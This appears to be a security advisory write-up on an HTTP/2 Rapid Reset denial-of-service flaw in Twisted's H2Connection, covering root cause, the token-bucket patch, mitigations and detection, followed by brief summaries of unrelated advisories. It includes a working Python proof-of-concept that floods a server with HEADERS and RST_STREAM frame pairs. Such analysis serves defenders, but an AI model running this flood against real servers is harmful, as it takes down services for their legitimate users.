Oct 29, 2026·8 min read·6 visits
An unauthenticated remote attacker can saturate host CPU cores in Twisted HTTP/2 servers (<= 26.4.0) by sending a continuous stream of HTTP/2 HEADERS frames paired with RST_STREAM frames over a single TCP connection, bypassing MAX_CONCURRENT_STREAMS limits.
Twisted versions up to and including 26.4.0 are vulnerable to an unauthenticated remote denial-of-service attack via the HTTP/2 Rapid Reset technique (a variant of CVE-2023-44487). The HTTP/2 connection handler in twisted.web processes pipelined HEADERS and RST_STREAM frames sequentially within the same TCP segment. Because the request dispatch and synchronous rendering occur upon receiving the StreamEnded event before the subsequent StreamReset event is evaluated, an attacker can force the server to expend CPU cycles rendering responses while immediately evicting stream state to bypass concurrent stream limits.
Twisted is an event-driven networking engine written in Python. Its web server component, twisted.web, provides native support for the HTTP/2 protocol via the H2Connection class located in src/twisted/web/_http2.py. This implementation relies on the h2 (python-hyper) sans-I/O protocol library to parse incoming HTTP/2 frames and translate them into state machine events.
A resource exhaustion vulnerability (tracked as GHSA-vpp8-g58w-m8mp, classified under CWE-400 and CWE-770) exists in Twisted versions <= 26.4.0. This flaw is an implementation-specific manifestation of the HTTP/2 Rapid Reset attack class originally disclosed across the industry as CVE-2023-44487. The vulnerability exposes any Twisted server listening on an HTTP/2-enabled endpoint (either over TLS via ALPN h2 or cleartext HTTP/2) to unauthenticated remote denial of service.
When processing inbound network segments, H2Connection executes request routing and resource rendering synchronously before evaluating stream cancellation events present in the same byte buffer. Because cancelled streams are immediately purged from the active stream table, they do not accumulate against the SETTINGS_MAX_CONCURRENT_STREAMS limit.
Consequently, a remote client can pipeline thousands of request-and-reset frame pairs per second over a single TCP connection. This forces the Twisted reactor thread to continuously allocate request objects and render responses, saturating CPU utilization and denying service to legitimate clients without requiring substantial network bandwidth.
The root cause resides in how H2Connection.dataReceived processes sequential events emitted by the underlying h2.connection.H2Connection state machine. When raw bytes arrive from the transport layer, self.conn.receive_data(data) parses all complete HTTP/2 frames contained within the buffer and returns an ordered list of protocol events.
When a client transmits a HEADERS frame with the END_STREAM flag set on stream ID $N$, immediately followed by a RST_STREAM frame (CANCEL / error code 0x8) for the same stream ID $N$, the h2 parser yields three distinct events in sequence: RequestReceived, StreamEnded, and StreamReset. Twisted iterates over these events synchronously within a single for loop inside dataReceived.
Upon processing RequestReceived, Twisted invokes self._requestReceived(event), which instantiates internal stream bookkeeping and request structures. Immediately thereafter, the loop processes StreamEnded by calling self._requestEnded(event). This method triggers requestComplete(), which synchronously dispatches the request through the resource tree and executes the target resource's render() method to generate response headers and payload data.
Only after the synchronous rendering finishes does the loop advance to the StreamReset event, invoking self._requestAborted(event). This handler cleans up the stream by calling self._requestDone(event.stream_id), which removes stream ID $N$ from self.streams. Because HTTP/2 enforces SETTINGS_MAX_CONCURRENT_STREAMS (defaulting to 100) strictly against currently open streams, purging the stream immediately frees its concurrency slot.
> [!NOTE]
> While Twisted previously implemented mitigations for HTTP/2 control frame flooding in 2019 (GHSA-32gv-6cf3-53h6), that fix only bounded outbound control frame queues. It did not track or rate-limit inbound client-initiated stream resets.
In unpatched versions of src/twisted/web/_http2.py, the dataReceived loop processes events without validating whether a stream is reset later in the same batch, and _requestAborted cleans up stream state without accounting for the frequency of resets.
# Unpatched event loop in src/twisted/web/_http2.py
for event in events:
if isinstance(event, h2.events.RequestReceived):
self._requestReceived(event)
elif isinstance(event, h2.events.StreamEnded):
self._requestEnded(event)
elif isinstance(event, h2.events.StreamReset):
self._requestAborted(event)To remediate this vulnerability in commit 498939422b69d5a75c4b8f81fa7926423dac534d (merged via PR #12749), the maintainers introduced a per-connection token bucket algorithm modeled after the mitigation used in nghttp2. The H2Connection class now defines a burst capacity of 1000 tokens (_resetTokenBurst) and a refill rate of 33 tokens per second (_resetTokenRate).
# Patched initialization and attributes in src/twisted/web/_http2.py
class H2Connection(Protocol, TimeoutMixin):
_log = Logger()
_abortingCall = None
# Token bucket parameters matching nghttp2 defaults
_resetTokenBurst = 1000
_resetTokenRate = 33
def __init__(self, reactor=None):
# ... [existing initialization] ...
if reactor is None:
from twisted.internet import reactor
self._reactor = reactor
# Initialize token bucket to full burst capacity
self._resetTokens = float(self._resetTokenBurst)
self._resetTokenTimestamp = self._reactor.seconds()Every time a remote peer resets a stream, _requestAborted calculates the elapsed time since the last reset, refills the bucket proportionally up to _resetTokenBurst, and deducts one token. If the available token count drops below 1, the server sends a GOAWAY frame with error code ENHANCE_YOUR_CALM (0xb) and terminates the transport via a new _terminate helper method.
def _requestAborted(self, event):
# ... [existing cleanup] ...
self._requestDone(event.stream_id)
now = self._reactor.seconds()
# Clamp elapsed time to 0.0 to prevent backward NTP clock adjustments
# from draining tokens and falsely disconnecting legitimate peers.
elapsed = max(0.0, now - self._resetTokenTimestamp)
self._resetTokens = min(
self._resetTokenBurst,
self._resetTokens + elapsed * self._resetTokenRate,
)
self._resetTokenTimestamp = now
if self._resetTokens < 1:
self.conn.close_connection(
error_code=h2.errors.ErrorCodes.ENHANCE_YOUR_CALM
)
self._terminate(Failure(ConnectionLost("Too many stream resets")))
else:
self._resetTokens -= 1The fix is well-constructed and addresses potential edge cases. Specifically, clamping elapsed with max(0.0, ...) prevents backward wall-clock steps (such as NTP synchronization adjustments) from producing negative token refills. Furthermore, server-initiated stream cancellations go through H2Connection.abortRequest rather than _requestAborted, ensuring internal server errors do not consume the client's reset token budget.
One residual consideration is that an attacker can still execute up to 1,000 rapid resets initially on a single connection, and sustain 33 resets per second per connection thereafter without being disconnected. If an attacker opens multiple concurrent TCP connections, they can multiply this allowance, though standard connection-level rate limits at the firewall or load balancer layer are effective against multi-connection floods.
Exploiting GHSA-vpp8-g58w-m8mp requires network connectivity to a Twisted web server with HTTP/2 enabled. No authentication credentials or special session states are required. Because HTTP/2 mandates odd-numbered stream identifiers for client-initiated streams, an attacker simply increments the stream ID by 2 on each iteration.
The attack consists of establishing a single TLS connection negotiating the h2 ALPN protocol, sending the initial HTTP/2 connection preface, and entering an infinite loop. Within the loop, the client serializes a HEADERS frame (with END_STREAM set) and a RST_STREAM frame for the same stream ID, flushing both frames to the socket at line rate.
import socket
import ssl
from h2.connection import H2Connection, H2Configuration
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 8080
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])
sock = socket.create_connection((TARGET_HOST, TARGET_PORT))
tls_sock = ctx.wrap_socket(sock, server_hostname=TARGET_HOST)
config = H2Configuration(client_side=True)
conn = H2Connection(config=config)
conn.initiate_connection()
tls_sock.sendall(conn.data_to_send())
stream_id = 1
request_headers = [
(':method', 'GET'),
(':path', '/'),
(':scheme', 'https'),
(':authority', f"{TARGET_HOST}:{TARGET_PORT}"),
]
try:
while True:
# Queue HEADERS (with END_STREAM) and RST_STREAM back-to-back
conn.send_headers(stream_id=stream_id, headers=request_headers, end_stream=True)
conn.reset_stream(stream_id=stream_id, error_code=0x8)
# Transmit both frames in the same socket write
tls_sock.sendall(conn.data_to_send())
stream_id += 2
except KeyboardInterrupt:
tls_sock.close()When executed against an unpatched Twisted server (<= 26.4.0), the reactor thread immediately reaches 100% CPU utilization. Because Twisted operates on a single-threaded cooperative multitasking reactor model by default, saturating the main event loop blocks all concurrent I/O processing, timer callbacks, and legitimate client requests across the entire process.
The primary impact of this vulnerability is a complete denial of service of the affected Twisted application process. The vulnerability carries a CVSS v3.1 base score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
Because the attack is asymmetric, a client with minimal CPU and network bandwidth can generate enough frame pairs over a single TCP connection to exhaust server CPU resources. The severity of the CPU exhaustion is amplified if the targeted URI path (:path) triggers computationally expensive synchronous operations during render(), such as template rendering, serialization, or synchronous file/database operations.
Confidentiality and integrity are unaffected (C:N/I:N), as the flaw strictly involves protocol state accounting and CPU scheduling rather than memory corruption or authorization bypass. However, because Twisted's event loop is single-threaded, starving the reactor prevents the server from responding to health checks, potentially triggering cascading restarts in container orchestration environments such as Kubernetes.
Administrators and developers using twisted.web to serve HTTP/2 traffic should upgrade to Twisted version 26.10.0rc1 or later, which incorporates the token bucket rate-limiting patch.
pip install --upgrade "Twisted>=26.10.0rc1"In environments where an immediate package upgrade is not feasible, two primary workarounds can neutralize the attack vector:
h2 from the acceptable protocols in the server's TLS context configuration (or uninstall the optional h2 dependency if HTTP/2 is not strictly required), forcing all connecting clients to fall back to HTTP/1.1.Security operations teams can monitor for exploitation attempts after patching by inspecting Twisted application logs for ConnectionLost: Too many stream resets exceptions or monitoring network traffic for outbound HTTP/2 GOAWAY frames carrying error code 0x0b (ENHANCE_YOUR_CALM).
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Twisted Twisted Matrix Laboratories | <= 26.4.0 | 26.10.0rc1 |
| Attribute | Detail |
|---|---|
| Advisory ID | GHSA-vpp8-g58w-m8mp |
| Vulnerability Class | CWE-400: Uncontrolled Resource Consumption (HTTP/2 Rapid Reset) |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Attack Vector | Network (Unauthenticated HTTP/2 Connection) |
| Affected Component | twisted.web._http2.H2Connection (<= 26.4.0) |
| Patched Version | Twisted >= 26.10.0rc1 |
| Exploit Status | Proof of Concept Available |
| Related CVE | CVE-2023-44487 |
The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
An inefficient algorithmic complexity vulnerability exists in the npm package decode-uri-component prior to version 0.5.1. When processing malformed URI strings containing invalid percent-escape sequences, the library falls back to a custom decoder that collects distinct percent-encoded runs into a dictionary and executes a full-string regular expression replacement for each entry. Supplying a payload with thousands of distinct percent-encoded sequences alongside a malformed escape triggers quadratic O(K * L) execution time, starving the single-threaded Node.js event loop and resulting in an unauthenticated Denial of Service.
Open Neural Network Exchange (ONNX) versions 1.4.0 prior to 1.22.0 contain a null pointer dereference (CWE-476) and a signed-to-unsigned integer conversion error (CWE-195) in the shape inference functions for the Scan operator. When processing an untrusted ONNX model, the functions ScanInferenceFunction, ScanInferenceFunction_opset8, and ScanInferenceFunction_opset9 fail to validate the presence and value of the required num_scan_inputs attribute. Omitting the attribute results in a direct null pointer dereference that crashes the host process via SIGSEGV, while supplying a negative value triggers an integer wrap-around during type narrowing that leads to an unhandled allocation failure. Notably, models containing a negative num_scan_inputs value bypass standard validation via onnx.checker.check_model().
CVE-2026-91403 is a critical cryptographic trust validation flaw (CWE-327) in the Java Secure Socket Extension (JSSE) component of Oracle Java SE, Oracle GraalVM, and OpenJDK builds. Triggered by the compromise of private signing keys for eight intermediate Certificate Authorities operated by eMudhra (emSign), unpatched Java runtime environments implicitly trust fraudulent TLS and code-signing certificates issued by these compromised intermediates. Because Java disables online certificate revocation checking (OCSP/CRL) by default, an unauthenticated network attacker in an Adversary-in-the-Middle (AiTM) position can intercept, decrypt, and modify encrypted TLS communications or bypass code signature verification without triggering security exceptions.
Open Neural Network Exchange (ONNX) prior to version 1.22.0 contains a memory exhaustion vulnerability (CWE-789) in its Python tensor unpacking helpers and C++ model checker. Specifically, the _unpack_2bit() and _unpack_4bit() functions in onnx.numpy_helper unconditionally resize unpacked NumPy arrays to match attacker-controlled TensorProto.dims metadata without verifying that the underlying raw_data or int32_data buffers contain a corresponding number of packed bits. Furthermore, onnx.checker.check_tensor() previously bypassed length verification for sub-byte data types. Processing an untrusted ONNX model with packed sub-byte tensors (UINT2, INT2, UINT4, INT4, or FLOAT4E2M1) allows an unauthenticated attacker to trigger disproportionate memory allocations from minimal payloads, resulting in an out-of-memory (OOM) crash and denial of service.
An out-of-bounds read vulnerability (CWE-125) exists in the Open Neural Network Exchange (ONNX) library across versions 1.2.1 prior to 1.22.0. The flaw occurs within the shape inference routines for the ConvTranspose operator when processing a model with a weight tensor rank less than three and an omitted kernel_shape attribute. Unchecked indexing into an empty vector triggers a memory segmentation fault, resulting in a Denial of Service (DoS) against applications inspecting or loading untrusted ONNX models.
A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.